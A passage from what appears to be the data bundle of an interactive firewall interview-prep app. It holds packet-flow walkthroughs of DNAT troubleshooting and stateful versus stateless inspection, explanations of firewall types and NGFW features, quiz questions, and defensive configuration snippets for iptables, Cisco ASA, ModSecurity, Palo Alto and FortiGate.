ACCESS OK ✓`,badge:`INTERNAL LAN: OK ✓`,activeNodes:[`client`],whatIsHappening:`Internal access verified. Root cause is isolated strictly to the perimeter edge!`,interviewTakeaway:`Isolating the problem to the perimeter boundary saves hours of troubleshooting.`},{id:8,label:`Step 8: Problem Report: External Internet Users Cannot Access Public IP 203.0.113.10`,badge:`WAN Problem Report`,activeNodes:[`client`],whatIsHappening:`External customers report connection timeouts connecting to public VIP.`,interviewTakeaway:`External access requires perimeter edge translation and routing.`},{id:9,label:`Step 9: PART B: External Internet Client Appears (198.51.100.99)`,badge:`External Client`,activeNodes:[`client`],whatIsHappening:`External WAN client appears on public Internet.`,interviewTakeaway:`External clients use public routable IP addresses.`},{id:10,label:`Step 10: Edge Firewall & NAT Gateway Appears (WAN: 203.0.113.10)`,badge:`Edge Gateway`,activeNodes:[`firewall`],whatIsHappening:`Perimeter Firewall & NAT Gateway appears linking WAN to LAN.`,interviewTakeaway:`Edge firewalls perform both security filtering and NAT translations.`},{id:11,label:`Step 11: Network Cabling Interconnects External WAN Path`,badge:`WAN Topology`,activeNodes:[`client`,`firewall`,`server`],whatIsHappening:`Public WAN links External Client to Firewall; LAN links Firewall to Server.`,interviewTakeaway:`Traffic must traverse edge firewall boundary.`},{id:12,label:"Step 12: External Client Sends TCP SYN to Public IP: `203.0.113.10:443`",badge:`WAN TCP SYN`,activeNodes:[`client`,`firewall`],whatIsHappening:`External client initiates TCP handshake to public IP 203.0.113.10:443.`,interviewTakeaway:`External clients only know the public VIP address.`},{id:13,label:`Step 13: Packet Traverses Public Internet to Firewall WAN Interface`,badge:`WAN Ingress`,activeNodes:[`client`,`firewall`],whatIsHappening:`Packet arrives at firewall outside interface.`,interviewTakeaway:`Packets enter ingress queue for policy and NAT evaluation.`},{id:14,label:`Step 14: Diagnostic Checkpoint 1: Inbound Security Policy (ACL) Evaluation`,badge:`ACL Evaluation`,activeNodes:[`firewall`],whatIsHappening:`Firewall checks inbound ACL: ALLOW ANY ➔ 203.0.113.10:443.`,interviewTakeaway:`ACL permits packet through initial security gate.`},{id:15,label:`Step 15: Inbound Security Policy Matches: PERMITTED ✓`,badge:`ACL PERMITTED ✓`,decision:`ALLOW`,activeNodes:[`firewall`],whatIsHappening:`Firewall ACL passes packet. Next checkpoint: Destination NAT (DNAT).`,interviewTakeaway:`Passing ACL is only half the battle; NAT translation is also required.`},{id:16,label:`Step 16: Diagnostic Checkpoint 2: Destination NAT (DNAT) Table Lookup`,badge:`DNAT Table Lookup`,activeNodes:[`firewall`],whatIsHappening:`Firewall searches NAT table for mapping: 203.0.113.10:443 ➔ Internal IP.`,interviewTakeaway:`DNAT rules tell the firewall which internal private IP to forward to.`},{id:17,label:`Step 17: FAILURE DETECTED: DNAT Port Forwarding Rule is MISSING! ✕`,badge:`MISSING DNAT ✕`,activeNodes:[`firewall`],whatIsHappening:`NAT table has NO mapping for 203.0.113.10:443. Root cause identified!`,interviewTakeaway:`Missing DNAT rules are the #1 cause of internal-only server reachability.`},{id:18,label:`Step 18: Without DNAT, Firewall Cannot Forward Packet ➔ DROPPED ✕`,badge:`PACKET DROPPED ✕`,decision:`DENY`,activeNodes:[`firewall`],whatIsHappening:`Firewall cannot terminate web traffic locally and drops the packet.`,interviewTakeaway:`Packets destined for unmapped public IPs are discarded.`},{id:19,label:`Step 19: External Client Times Out (SYN_SENT Hangs)`,badge:`CONNECTION TIMEOUT ✕`,activeNodes:[`client`],whatIsHappening:`External user receives ERR_CONNECTION_TIMED_OUT.`,interviewTakeaway:`Failure verified from external client perspective.`},{id:20,label:`Step 20: Root Cause Confirmed: Missing Destination NAT Mapping`,badge:`Root Cause Confirmed`,activeNodes:[`firewall`],whatIsHappening:`Triage complete: ACL was valid, but DNAT translation rule was missing.`,interviewTakeaway:`Both ACL and DNAT are required for inbound public hosting.`},{id:21,label:`Step 21: PART C: Engineer Configures DNAT Port Forwarding Rule`,badge:`Remediation Config`,activeNodes:[`firewall`],whatIsHappening:`Engineer configures: DNAT WAN 203.0.113.10:443 ➔ LAN 192.168.1.10:443.`,interviewTakeaway:`DNAT statically maps public IP/port to private IP/port.`},{id:22,label:`Step 22: Firewall Commits DNAT Entry into Active Translation Table`,badge:`DNAT Committed ✓`,activeNodes:[`firewall`],whatIsHappening:`Firewall updates hardware NAT table with new translation entry.`,interviewTakeaway:`NAT table updates in real time.`},{id:23,label:"Step 23: Retest: External Client Retransmits TCP SYN to `203.0.113.10:443`",badge:`WAN Retest SYN`,activeNodes:[`client`,`firewall`],whatIsHappening:`External user refreshes browser; new TCP SYN sent to public VIP.`,interviewTakeaway:`Retesting confirms translation and routing fix.`},{id:24,label:`Step 24: Packet Arrives at Firewall WAN Port`,badge:`WAN Ingress`,activeNodes:[`firewall`],whatIsHappening:`Packet enters firewall outside interface.`,interviewTakeaway:`Packet enters translation pipeline.`},{id:25,label:`Step 25: Firewall ACL Validates & Permits Inbound Packet`,badge:`ACL Matched ✓`,decision:`ALLOW`,activeNodes:[`firewall`],whatIsHappening:`Inbound ACL matches and allows packet.`,interviewTakeaway:`Security policy permits inbound traffic.`},{id:26,label:"Step 26: NAT Engine Rewrites Destination IP: `203.0.113.10` ➔ `192.168.1.10`",badge:`DNAT TRANSLATED ✓`,activeNodes:[`firewall`],whatIsHappening:`NAT engine rewrites destination IP in packet header to private IP 192.168.1.10.`,interviewTakeaway:`DNAT modifies the destination IP in the IP header.`},{id:27,label:`Step 27: Translated Packet Forwarded to Internal Web Server (192.168.1.10)`,badge:`Forwarded to Server`,activeNodes:[`firewall`,`server`],whatIsHappening:`Firewall switches packet out inside interface to Web Server.`,interviewTakeaway:`Server receives packet addressed to its private IP.`},{id:28,label:`Step 28: Web Server Receives SYN & Generates SYN-ACK Response`,badge:`Server Responding`,activeNodes:[`server`],whatIsHappening:`Web server accepts connection and creates SYN-ACK destined for 198.51.100.99.`,interviewTakeaway:`Server responds using its default gateway (192.168.1.1).`},{id:29,label:`Step 29: Response Packet Reaches Firewall Inside Interface`,badge:`Return Ingress`,activeNodes:[`server`,`firewall`],whatIsHappening:`Response packet enters firewall internal interface.`,interviewTakeaway:`State table identifies return packet for reverse NAT.`},{id:30,label:"Step 30: NAT Engine Performs Reverse Translation: Source IP ➔ `203.0.113.10`",badge:`Reverse NAT ✓`,activeNodes:[`firewall`],whatIsHappening:`NAT engine rewrites source IP from 192.168.1.10 back to public VIP 203.0.113.10.`,interviewTakeaway:`Reverse translation ensures client sees reply from public VIP.`},{id:31,label:`Step 31: Response Transits Public Internet to External Client`,badge:`WAN Egress`,activeNodes:[`firewall`,`client`],whatIsHappening:`Response packet arrives safely at external client.`,interviewTakeaway:`Client receives reply from expected public IP.`},{id:32,label:`Step 32: External Client Completes Handshake & Receives HTTP 200 OK ✓`,badge:`FULL REACHABILITY ✓`,activeNodes:[`client`,`server`],whatIsHappening:`External client loads website in browser. Full end-to-end WAN reachability restored!`,interviewTakeaway:`Both Internal LAN and External WAN reachability fully operational.`},{id:33,label:`Step 33: Summary: Comprehensive Internal vs WAN Troubleshooting Verified ✓`,badge:`DIAGNOSTIC COMPLETE ✓`,activeNodes:[`client`,`firewall`,`server`],whatIsHappening:`Internal Baseline ✓ ➔ Inbound ACL ✓ ➔ DNAT Remediated ✓ ➔ Reverse NAT ✓ ➔ Verified ✓.`,interviewTakeaway:`Troubleshooting perimeter server reachability requires validating both ACL and DNAT.`}]}],x=[{id:1,categoryId:`fundamentals`,category:`Firewall Fundamentals`,title:`What is a firewall, and how does it work?`,subtitle:`Watch packet inspection in real-time as traffic passes through network security boundaries.`,visualType:`firewall-flow`,elevatorPitch:`A firewall is a core network security barrier that monitors, filters, and inspects incoming and outgoing network traffic based on an organization’s predetermined security policy. It acts as a gatekeeper between a trusted internal network and untrusted external networks (like the Internet).`,deepDive:[`**5-Tuple Inspection:** Traditional packet-filtering firewalls inspect the 5-tuple: Source IP, Destination IP, Source Port, Destination Port, and Layer 4 Protocol (TCP/UDP/ICMP).`,`**Directional Policies:** Rules are enforced directionally: Inbound (entering the perimeter) vs. Outbound (originating from inside).`,`**Action Matrix:** When a packet arrives, the firewall evaluates rules in sequence. Actions include ALLOW (forward packet), DROP (silently discard with no response), or REJECT (discard and send ICMP unreachable / TCP RST).`,`**Boundary Enforcement:** Firewalls isolate network trust zones (e.g., Internet, DMZ, Corporate LAN, Secure Database VLANs).`],realWorldScenario:"A database server on 10.0.3.50 received port-scan traffic. The firewall perimeter rule `DENY ANY -> 10.0.3.0/24 port 3306` dropped packets instantly, shielding the MySQL service from brute-force exploitation.",commonTrap:`Candidates often say firewalls just "block viruses." In an interview, clarify that traditional firewalls operate at Layers 3 & 4 (IP/Port), while Next-Gen Firewalls (NGFW) inspect Layer 7 payload/applications.`,cliSnippets:[{label:`Linux iptables (Drop incoming port 23 Telnet)`,code:`iptables -A INPUT -p tcp --dport 23 -j DROP`},{label:`Cisco ASA ACL`,code:`access-list OUTSIDE_IN extended deny tcp any host 10.0.3.50 eq 3306
access-group OUTSIDE_IN in interface outside`}],keyTakeaways:[`Acts as a perimeter boundary between trusted and untrusted network zones.`,`Inspects traffic headers (Source/Dest IP, Ports, Protocol) against ordered rule sets.`,`Executes ALLOW, DROP (silent), or REJECT (active reset) actions.`],quiz:{question:`What is the key difference between DROP and REJECT actions on a firewall?`,options:[`DROP sends an ICMP port unreachable back to sender; REJECT silently ignores.`,`DROP silently discards the packet without response; REJECT sends an ICMP error or TCP RST.`,`DROP is for incoming traffic only; REJECT is for outgoing traffic only.`,`There is no functional difference; they are synonymous.`],correctIndex:1,explanation:`DROP silently discards the packet, which slows down port scanners because the scanner must wait for a timeout. REJECT immediately informs the sender with a TCP RST or ICMP Unreachable message.`},steps:[{id:1,label:`Client Initialized`,badge:`Client Active`,activeNodes:[`client`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`,flags:`SYN`},whatIsHappening:`The trusted client host (10.0.0.25) initializes inside the corporate LAN zone.`,interviewTakeaway:`The source host prepares an outbound connection request.`},{id:2,label:`Firewall Gateway Appears`,badge:`Security Barrier`,activeNodes:[`firewall`],whatIsHappening:`The perimeter firewall appears as the security boundary between trusted and untrusted zones.`,interviewTakeaway:`Firewalls enforce security boundaries and evaluate all crossing packets.`},{id:3,label:`Target Server Appears`,badge:`Remote Host`,activeNodes:[`server`],whatIsHappening:`The target external web server (203.0.113.50:443) appears on the untrusted Internet WAN.`,interviewTakeaway:`Network endpoints are defined by their layer-3 IP and layer-4 service port.`},{id:4,label:`Network Links Established`,badge:`Links Active`,activeNodes:[`client`,`firewall`,`server`],whatIsHappening:`Physical and logical network connections connect Client -> Firewall -> Server.`,interviewTakeaway:`All traffic between zones must traverse the firewall gateway.`},{id:5,label:`Client Creates TCP SYN Packet`,badge:`TCP :443 SYN`,activeNodes:[`client`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`,flags:`SYN`},whatIsHappening:`Client initiates a TCP connection to Server on port 443 (HTTPS) with a SYN packet.`,interviewTakeaway:`The packet carries 5-tuple header metadata: Source IP, Dest IP, Source Port, Dest Port, and Protocol.`},{id:6,label:`Packet In Transit to Firewall`,badge:`Transmitting →`,activeNodes:[`client`,`firewall`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`,flags:`SYN`},whatIsHappening:`The packet is routed across the LAN towards the firewall ingress interface.`,interviewTakeaway:`Packets glide across network hops; they do not teleport.`},{id:7,label:`Firewall Extracts 5-Tuple Header`,badge:`Header Extraction`,activeNodes:[`firewall`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`,flags:`SYN`},decision:`INSPECT`,whatIsHappening:`Firewall buffers the packet and extracts Source IP (10.0.0.25), Dest IP (203.0.113.50), Protocol (TCP), and Port (443).`,interviewTakeaway:`L3/L4 filtering evaluates the 5 key header parameters against rule criteria.`},{id:8,label:`Firewall Evaluates ACL Rulebase`,badge:`Top-Down Evaluation`,activeNodes:[`firewall`],activeRuleIndex:0,decision:`INSPECT`,whatIsHappening:`Firewall tests the extracted 5-tuple against its active Access Control List (ACL) in top-down order.`,interviewTakeaway:`Rules are evaluated sequentially until the first match is reached.`},{id:9,label:`Rule #1 Match & ALLOW Decision`,badge:`Rule 1 Matched ✓`,activeNodes:[`firewall`],activeRuleIndex:0,decision:`ALLOW`,ruleMatched:`Rule 1: ALLOW 10.0.0.0/24 -> 203.0.113.50:443`,whatIsHappening:`Rule 1 matches: Source 10.0.0.25 is in 10.0.0.0/24 and destination port 443 is permitted. Action: ALLOW.`,interviewTakeaway:`First-match semantics stop further evaluation and forward the packet.`},{id:10,label:`Packet Forwarded to Server`,badge:`Forwarding →`,activeNodes:[`server`],packetInfo:{srcIp:`10.0.0.25`,dstIp:`203.0.113.50`,srcPort:52410,dstPort:443,protocol:`TCP`,flags:`SYN`},decision:`ALLOW`,whatIsHappening:`Permitted packet is transmitted out the egress interface to destination server.`,interviewTakeaway:`Firewall opens egress forwarding gate for allowed packets.`},{id:11,label:`Server Receives SYN & Generates SYN-ACK`,badge:`Server SYN-ACK`,activeNodes:[`server`],packetInfo:{srcIp:`203.0.113.50`,dstIp:`10.0.0.25`,srcPort:443,dstPort:52410,protocol:`TCP`,flags:`SYN,ACK`},decision:`ALLOW`,whatIsHappening:`Destination server accepts the TCP SYN and generates a TCP SYN-ACK return handshake response.`,interviewTakeaway:`Server initiates the second leg of the 3-way handshake.`},{id:12,label:`Return Packet Travels Back Through Firewall`,badge:`Stateful Return`,activeNodes:[`firewall`,`client`],packetInfo:{srcIp:`203.0.113.50`,dstIp:`10.0.0.25`,srcPort:443,dstPort:52410,protocol:`TCP`,flags:`SYN,ACK`},decision:`ALLOW`,whatIsHappening:`The SYN-ACK returns through the firewall, matching the established session table entry.`,interviewTakeaway:`Stateful firewalls automatically allow established return traffic.`},{id:13,label:`Session Established Successfully`,badge:`Handshake Complete ✓`,activeNodes:[`client`,`firewall`,`server`],decision:`ALLOW`,whatIsHappening:`Client receives SYN-ACK: full bidirectional TCP session is established through the firewall.`,interviewTakeaway:`A complete firewall communication cycle includes both outbound request and inbound response verification.`}]},{id:2,categoryId:`fundamentals`,category:`Firewall Fundamentals`,title:`What are the different types of firewalls?`,subtitle:`Compare Packet Filters, Stateful Firewalls, Application Proxies, and Next-Gen Firewalls.`,visualType:`firewall-types`,elevatorPitch:`Firewalls are categorized by the OSI layers at which they operate: 1) Packet-Filtering (Layers 3–4), 2) Stateful Inspection (Layers 3–4 with session tracking), 3) Application Proxy (Layer 7 full proxying), 4) Next-Generation Firewalls (NGFW, Layers 3–7 with deep packet inspection, App-ID, and threat prevention), and 5) Web Application Firewalls (WAF, Layer 7 specialized for HTTP/HTTPS).`,deepDive:[`**Packet Filtering (Stateless):** Evaluates individual packets in isolation based on static header rules. Fastest throughput, but cannot track connection states or prevent spoofing.`,`**Stateful Inspection:** Maintains a dynamic state table of active connections (TCP handshake state, UDP pseudo-sessions). Automatically allows return traffic for established outbound sessions.`,`**Application-Level Gateway / Proxy:** Terminates the connection from client, inspects full application payload (HTTP, FTP, SMTP), and establishes a second independent connection to the target server.`,`**Next-Generation Firewall (NGFW):** Combines stateful inspection with Application Identification (App-ID), Intrusion Prevention (IPS), TLS/SSL decryption, and sandboxing.`,`**WAF (Web Application Firewall):** Protects web apps against OWASP Top 10 attacks (SQLi, XSS, CSRF) by inspecting HTTP request parameters and payloads.`],realWorldScenario:`An attacker tunneled command-and-control traffic over TCP port 80. A traditional packet filter permitted it because port 80 was open, but an NGFW flagged the non-HTTP protocol inside port 80 and blocked it.`,commonTrap:`Don’t confuse a WAF with a network firewall. A network firewall controls general network ingress/egress, whereas a WAF inspects HTTP headers, cookies, and SQL/XSS payloads.`,cliSnippets:[{label:`Palo Alto NGFW CLI (Inspect App-ID)`,code:`show running security-policy
show session all filter application web-browsing`},{label:`ModSecurity WAF Rule (Block SQL Injection)`,code:`SecRule ARGS "@detectSQLi" "id:1001,phase:2,deny,status:403,msg:'SQL Injection Attempt'"`}],keyTakeaways:[`Packet Filters inspect headers; Stateful firewalls track TCP/UDP session states.`,`Proxy firewalls terminate and reconstruct connections at Layer 7.`,`NGFWs integrate deep packet inspection, App-ID, and integrated IPS.`,`WAF specializes in HTTP/HTTPS traffic to prevent application exploits.`],quiz:{question:`Which type of firewall terminates the client connection and opens an entirely new connection to the destination server?`,options:[`Stateless Packet Filter`,`Stateful Inspection Firewall`,`Application Proxy Firewall`,`Transparent Layer 2 Firewall`],correctIndex:2,explanation:`An Application Proxy Firewall operates as an intermediary: it terminates the client TCP connection, performs full Layer 7 content inspection, and opens a separate connection to the destination server.`},steps:[{id:1,label:`Stateless Packet Filter: Header Ingress (L3/L4)`,badge:`Stateless L3/L4`,activeNodes:[`filter-stateless`],packetInfo:{srcIp:`10.0.0.5`,dstIp:`198.51.100.1`,dstPort:80,protocol:`TCP`,flags:`SYN`},whatIsHappening:`Packet filter inspects Source IP, Dest IP, Protocol, and Port headers in isolation without tracking session state.`,interviewTakeaway:`Fastest throughput but lacks memory; cannot dynamically allow return traffic without broad rules.`},{id:2,label:`Stateless Packet Filter: Static ACL Execution`,badge:`Static Filter`,activeNodes:[`filter-stateless`],packetInfo:{srcIp:`10.0.0.5`,dstIp:`198.51.100.1`,dstPort:80,protocol:`TCP`},decision:`ALLOW`,ruleMatched:`Static Rule: ALLOW 10.0.0.0/24 -> 198.51.100.1:80`,whatIsHappening:`Matches static permit statement. Forwarded without recording any session entry in RAM.`,interviewTakeaway:`Requires two independent static rules for bidirectional client-server communication.`},{id:3,label:`Stateful Inspection: Connection State Creation`,badge:`State Table Init`,activeNodes:[`filter-stateful`],packetInfo:{srcIp:`10.0.0.5`,dstIp:`198.51.100.1`,dstPort:443,protocol:`TCP`,flags:`SYN`},stateTable:[{srcIp:`10.0.0.5`,srcPort:49152,dstIp:`198.51.100.1`,dstPort:443,protocol:`TCP`,state:`SYN_SENT`,timeout:`30s`}],whatIsHappening:`Stateful firewall evaluates outbound SYN and records active session state with TCP sequence tracking.`,interviewTakeaway:`State table dynamically permits return traffic matching the established session.`},{id:4,label:`Stateful Inspection: Dynamic Return Traffic Permitted`,badge:`Session Matched ✓`,activeNodes:[`filter-stateful`],packetInfo:{srcIp:`198.51.100.1`,dstIp:`10.0.0.5`,srcPort:443,dstPort:49152,protocol:`TCP`,flags:`SYN-ACK`},decision:`ALLOW`,stateTable:[{srcIp:`10.0.0.5`,srcPort:49152,dstIp:`198.51.100.1`,dstPort:443,protocol:`TCP`,state:`ESTABLISHED`,timeout:`3600s`}],whatIsHappening:`Return SYN-ACK matches active state table entry (Fast Path) and is forwarded without re-evaluating rule lists.`,interviewTakeaway:`Eliminates opening wide ephemeral inbound ports on network perimeter.`},{id:5,label:`Application Proxy: Client Connection Termination (L7)`,badge:`Proxy Ingress`,activeNodes:[`filter-proxy`],packetInfo:{srcIp:`10.0.0.5`,dstIp:`198.51.100.1`,dstPort:80,protocol:`HTTP`,payloadSummary:`GET /login.php HTTP/1.1`},whatIsHappening:`Proxy terminates incoming client TCP connection completely, acting as a protocol intermediary.`,interviewTakeaway:`Prevents direct network-layer contact between untrusted client and backend server.`},{id:6,label:`Application Proxy: Payload Reconstruction & Egress`,badge:`L7 Sanitized`,activeNodes:[`filter-proxy`],packetInfo:{srcIp:`Proxy_IP`,dstIp:`198.51.100.1`,dstPort:80,protocol:`HTTP`,payloadSummary:`Sanitized HTTP GET`},decision:`ALLOW`,whatIsHappening:`Proxy parses and sanitizes HTTP payload, then opens a brand-new independent TCP connection to the backend server.`,interviewTakeaway:`Provides maximum payload isolation at the cost of processing latency.`},{id:7,label:`Next-Generation Firewall: TLS Decryption & App-ID`,badge:`NGFW App-ID`,activeNodes:[`filter-ngfw`],packetInfo:{srcIp:`10.0.0.5`,dstIp:`198.51.100.1`,dstPort:443,protocol:`TLS`,payloadSummary:`App-ID: Salesforce, User: admin@corp`},decision:`INSPECT`,whatIsHappening:`NGFW decrypts TLS stream and uses Deep Packet Inspection (DPI) to identify underlying application regardless of port.`,interviewTakeaway:`App-ID looks beyond port numbers to enforce application-specific policy controls.`},{id:8,label:`Next-Generation Firewall: Threat Prevention & Delivery`,badge:`NGFW Clean ✓`,activeNodes:[`filter-ngfw`],packetInfo:{srcIp:`10.0.0.5`,dstIp:`198.51.100.1`,dstPort:443,protocol:`TLS`,payloadSummary:`Threat Signature Scan: Clean`},decision:`ALLOW`,whatIsHappening:`Single-pass engine scans payload for malware, CVE exploits, and data leaks before forwarding to destination.`,interviewTakeaway:`Summary: Stateless (L3/L4), Stateful (State Table), Proxy (L7 Terminator), NGFW (DPI + App-ID + IPS).`}]},{id:3,categoryId:`fundamentals`,category:`Firewall Fundamentals`,title:`What is the difference between a stateful and a stateless firewall?`,subtitle:`Understand connection state tables, TCP tracking, and bidirectional rule handling.`,visualType:`stateful-stateless`,elevatorPitch:`A stateless firewall inspects each packet independently against static rules without context of prior traffic. A stateful firewall maintains a dynamic state table tracking active connections (e.g., TCP SYN, SYN-ACK, ESTABLISHED). When an internal host initiates an outbound session, the stateful firewall automatically allows the return response traffic.`,deepDive:[`**Stateless Firewall:** Inspects L3/L4 headers per packet. Requires two separate rules for every connection (one for outbound request, one for inbound response on high ephemeral ports 1024–65535). Vulnerable to ACK scan and SYN flood spoofing.`,"**Stateful Firewall:** Tracks TCP sequence numbers, flags (SYN, ACK, FIN, RST), and timers in a connection table. Return traffic is permitted under the `ESTABLISHED, RELATED` rule.",`**State Table Exhaustion (DDoS Risk):** Because stateful firewalls allocate RAM for each active session, high-volume SYN floods can exhaust the state table, causing a Denial of Service.`,`**Performance Trade-off:** Stateless inspection has lower CPU/memory overhead and higher packet-per-second (pps) forwarding rates, making it ideal for edge ACLs and DDoS mitigation.`],realWorldScenario:`If you configure an outbound-only rule on a stateless firewall allowing port 80, web browsing fails because the server’s return packets are blocked. On a stateful firewall, outbound HTTP traffic creates a state entry that automatically lets server responses pass through.`,commonTrap:`Never forget UDP and ICMP! While UDP is connectionless, stateful firewalls create "pseudo-state" entries using IP/Port pairs with short inactivity timers (e.g., DNS query on UDP 53 has a 30-second state window for reply).`,cliSnippets:[{label:`Linux conntrack (View active state table)`,code:`conntrack -L
# Output: tcp 6 431999 ESTABLISHED src=192.168.1.100 dst=93.184.216.34 sport=51200 dport=443 [ASSURED]`},{label:`iptables Stateful Rule (Allow Established)`,code:`iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT`}],keyTakeaways:[`Stateless treats every packet in isolation; Stateful maintains a session state table.`,`Stateful automatically permits return traffic for outbound-initiated sessions.`,`Stateless requires wide-open ephemeral inbound rules; Stateful is significantly more secure.`],quiz:{question:`How does a stateful firewall handle return traffic from a web server when an internal user visits a website?`,options:[`It requires an administrator to manually open inbound port 80/443 permanently.`,`It inspects the state table, matches the return packet to the established session, and allows it dynamically.`,`It broadcasts an ARP request to verify the server identity before forwarding.`,`It automatically converts the packet to stateless mode.`],correctIndex:1,explanation:`A stateful firewall checks its internal state table. Since the outbound request created a session entry, the inbound return packet (SYN-ACK / ACK) is recognized as part of that established conversation and permitted.`},steps:[{id:1,label:`1. Stateful: Outbound TCP SYN Request`,badge:`Stateful Step 1`,activeNodes:[`client`,`firewall`],packetInfo:{srcIp:`192.168.1.50`,dstIp:`142.250.190.46`,srcPort:49820,dstPort:443,protocol:`TCP`,flags:`SYN`},whatIsHappening:`The client initiates a secure connection by sending a TCP SYN packet destined for HTTPS port 443 on the remote server.`,interviewTakeaway:`The outbound packet arrives at the stateful firewall carrying a complete 5-tuple header.`},{id:2,label:`2. Stateful: State Table Entry Created`,badge:`Stateful Step 2`,activeNodes:[`firewall`],stateTable:[{srcIp:`192.168.1.50`,srcPort:49820,dstIp:`142.250.190.46`,dstPort:443,protocol:`TCP`,state:`SYN_SENT`,timeout:`30s`}],whatIsHappening:`The stateful firewall evaluates its outbound policy, permits the packet, and dynamically records a new session entry (SYN_SENT) in RAM.`,interviewTakeaway:`Stateful firewalls automatically track connection state, eliminating the need to manually open return ports.`},{id:3,label:`3. Stateful: Server Replies with SYN-ACK`,badge:`Stateful Step 3`,activeNodes:[`server`,`firewall`],packetInfo:{srcIp:`142.250.190.46`,dstIp:`192.168.1.50`,srcPort:443,dstPort:49820,protocol:`TCP`,flags:`SYN-ACK`},decision:`ALLOW`,stateTable:[{srcIp:`192.168.1.50`,srcPort:49820,dstIp:`142.250.190.46`,dstPort:443,protocol:`TCP`,state:`SYN_RECV`,timeout:`30s`}],whatIsHappening:`The remote web server returns a TCP SYN-ACK packet destined for the client ephemeral port 49820.`,interviewTakeaway:`Inbound return traffic arrives at the firewall perimeter without any static inbound rule.`},{id:4,label:`4. Stateful: Dynamic Return Traffic Allowed`,badge:`Stateful Step 4`,activeNodes:[`client`,`firewall`,`server`],packetInfo:{srcIp:`192.168.1.50`,dstIp:`142.250.190.46`,srcPort:49820,dstPort:443,protocol:`TCP`,flags:`ACK`},decision:`ALLOW`,stateTable:[{srcIp:`192.168.1.50`,srcPort:49820,dstIp:`142.250.190.46`,dstPort:443,protocol:`TCP`,state:`ESTABLISHED`,timeout:`3600s`}],whatIsHappening:`The firewall checks its state table, matches the return packet to the active session, and dynamically allows it through. Handshake completes as ESTABLISHED.`,interviewTakeaway:`Stateful inspection provides robust security because return packets must match an existing outbound session.`},{id:5,label:`5. Stateless: Evaluating Without State Memory`,badge:`Stateless Step 1`,activeNodes:[`client`,`firewall`],packetInfo:{srcIp:`192.168.1.50`,dstIp:`142.250.190.46`,srcPort:49820,dstPort:443,protocol:`TCP`,flags:`SYN`},whatIsHappening:`Now examine a stateless packet filter. The client sends the exact same TCP SYN packet outbound toward the server.`,interviewTakeaway:`Stateless firewalls treat every single packet as an isolated event with zero context of previous traffic.`},{id:6,label:`6. Stateless: Outbound Permitted via Static ACL`,badge:`Stateless Step 2`,activeNodes:[`firewall`,`server`],packetInfo:{srcIp:`192.168.1.50`,dstIp:`142.250.190.46`,srcPort:49820,dstPort:443,protocol:`TCP`,flags:`SYN`},decision:`ALLOW`,ruleMatched:`Rule 1: ALLOW Outbound ANY -> Server:443`,whatIsHappening:`The stateless firewall checks its static rule table. The outbound packet matches Rule 1 and is forwarded to the server. No state entry is created.`,interviewTakeaway:`Because there is no state memory, the firewall has no record that this connection was initiated.`},{id:7,label:`7. Stateless: Server Returns SYN-ACK to Port 49820`,badge:`Stateless Step 3`,activeNodes:[`server`,`firewall`],packetInfo:{srcIp:`142.250.190.46`,dstIp:`192.168.1.50`,srcPort:443,dstPort:49820,protocol:`TCP`,flags:`SYN-ACK`},decision:`DROP`,whatIsHappening:`The server replies with SYN-ACK destined for client ephemeral port 49820. The stateless firewall evaluates its static inbound rules from top to bottom.`,interviewTakeaway:`Without a state table, the stateless firewall must rely strictly on configured static inbound rules.`},{id:8,label:`8. Stateless: Return Traffic DROPPED (Connection Fails)`,badge:`Stateless Step 4`,activeNodes:[`firewall`],packetInfo:{srcIp:`142.250.190.46`,dstIp:`192.168.1.50`,srcPort:443,dstPort:49820,protocol:`TCP`,flags:`SYN-ACK`},decision:`DROP`,ruleMatched:`Default Rule: IMPLICIT DENY (No rule for inbound port 49820)`,whatIsHappening:`Because no static rule exists allowing inbound traffic on random port 49820, the stateless firewall DROPS the return packet. Web browsing completely breaks unless wide-open ephemeral ports are permitted!`,interviewTakeaway:`Stateless firewalls require opening ports 1024-65535 inbound, exposing internal networks to port scanning and spoofing.`}]},{id:4,categoryId:`fundamentals`,category:`Firewall Fundamentals`,title:`What is a Next-Generation Firewall (NGFW), and how is it different from a traditional firewall?`,subtitle:`Explore Deep Packet Inspection, App-ID, User-ID, TLS Decryption, and Threat Prevention.`,visualType:`ngfw-dpi`,elevatorPitch:`A Next-Generation Firewall (NGFW) goes beyond traditional Layer 3/4 port and IP filtering by incorporating Layer 7 Deep Packet Inspection (DPI), Application Identification (App-ID), User Identity awareness (User-ID), integrated Intrusion Prevention (IPS), and SSL/TLS decryption.`,deepDive:[`**App-ID vs Port Blindness:** Traditional firewalls see port 443 and assume HTTPS. An NGFW inspects the payload to distinguish between Salesforce, BitTorrent, SSH-over-HTTPS, or YouTube.`,`**SSL/TLS Forward Proxy Decryption:** Over 90% of web traffic is encrypted. NGFWs perform man-in-the-middle SSL inspection to scan encrypted payloads for malware and data exfiltration.`,`**User-ID Integration:** Integrates with Active Directory / LDAP / SAML to bind IP addresses to usernames, enabling policies like "Allow Engineering group SSH access" instead of static IP subnets.`,`**Threat Prevention & Sandboxing:** Integrates signature-based IPS, Anti-Spyware, URL filtering, and cloud sandboxing (e.g., Palo Alto WildFire, Cisco Talos, Fortinet FortiSandbox) for zero-day malware detection.`],realWorldScenario:`An employee uses a custom obfuscated SSH client over TCP port 443 to bypass firewall port restrictions. A traditional firewall allows it (port 443 is open). An NGFW detects the SSH protocol signature inside the SSL wrapper and blocks the evasion attempt.`,commonTrap:`Make sure to mention SSL/TLS decryption performance overhead. Decrypting TLS at scale requires dedicated ASIC hardware or coprocessors; without decryption, NGFWs are blind to encrypted threats.`,cliSnippets:[{label:`Palo Alto Security Rule with App-ID`,code:`set security rules "Allow-Slack" from Trust to Untrust application slack service application-default action allow`},{label:`FortiGate Application Sensor`,code:`config application list
  edit "Block-P2P"
    config entries
      edit 1
        set category 6 # Peer-to-Peer
